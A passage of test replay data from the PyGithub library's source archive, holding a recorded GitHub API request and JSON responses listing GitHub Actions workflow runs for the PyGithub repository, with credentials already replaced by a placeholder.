PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":92714488,"node_id":"MDExOldvcmtmbG93UnVuOTI3MTQ0ODg=","head_branch":"master","head_sha":"1c1cbb49c6ab5a3c256887741994e6138cba4fc5","run_number":63,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/92714488","pull_requests":[],"created_at":"2020-05-01T01:55:44Z","updated_at":"2020-05-01T01:57:47Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/644344978","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/92714488/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"1c1cbb49c6ab5a3c256887741994e6138cba4fc5","tree_id":"83add217bd939b23efb4b27a4c46fdfa29625a5f","message":"Fix typo in PullRequest.rst (#1494)","timestamp":"2020-05-01T01:55:39Z","author":{"name":"Sam Pearlman","email":"sampearl@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testGetRunsWithStrings.txt0000644000175100001660000016663514756101563025246 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows/1026390/runs?actor=s-t-e-v-e-n-k&branch=master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 20 May 2020 06:24:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1589959421'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"abc5ab70fce65e489658c2ccfebeaae2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF1E:5155:16C6D0:196C0C:5EC4CD04')] {"total_count":6,"workflow_runs":[{"id":109950033,"node_id":"MDExOldvcmtmbG93UnVuMTA5OTUwMDMz","head_branch":"master","head_sha":"61b610926a023d80486ce1115e7331a4c714cfcb","run_number":112,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/109950033","pull_requests":[],"created_at":"2020-05-20T02:37:57Z","updated_at":"2020-05-20T02:40:25Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/698432067","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/109950033/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"61b610926a023d80486ce1115e7331a4c714cfcb","tree_id":"f8bb127aac01f2185fa6d65914859a980d1f89b2","message":"Remove unneeded duplicate string checks in Branch (#1524)\n\nThere were multiple calls checking if an element of a list was a string\r\nor a string -- I suspect this pre-dates use of six in the code base, but\r\nlet's clean it up.","timestamp":"2020-05-20T02:37:52Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":108817672,"node_id":"MDExOldvcmtmbG93UnVuMTA4ODE3Njcy","head_branch":"master","head_sha":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","run_number":109,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/108817672","pull_requests":[],"created_at":"2020-05-19T02:28:36Z","updated_at":"2020-05-19T02:30:56Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/694638563","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","tree_id":"664e6dc179f5f00831cc7ed635bd2e499815a6f0","message":"Turn on coverage reporting for codecov (#1522)\n\nSince we migrated from Travis to GitHub Actions, our coverage on codecov\r\nhas been reporting as 0%, since uploading the .coverage file is a\r\nterrible idea. Turn on XML-based reporting, ignore the file and use that\r\nwhen we upload to codecov.","timestamp":"2020-05-19T02:28:33Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 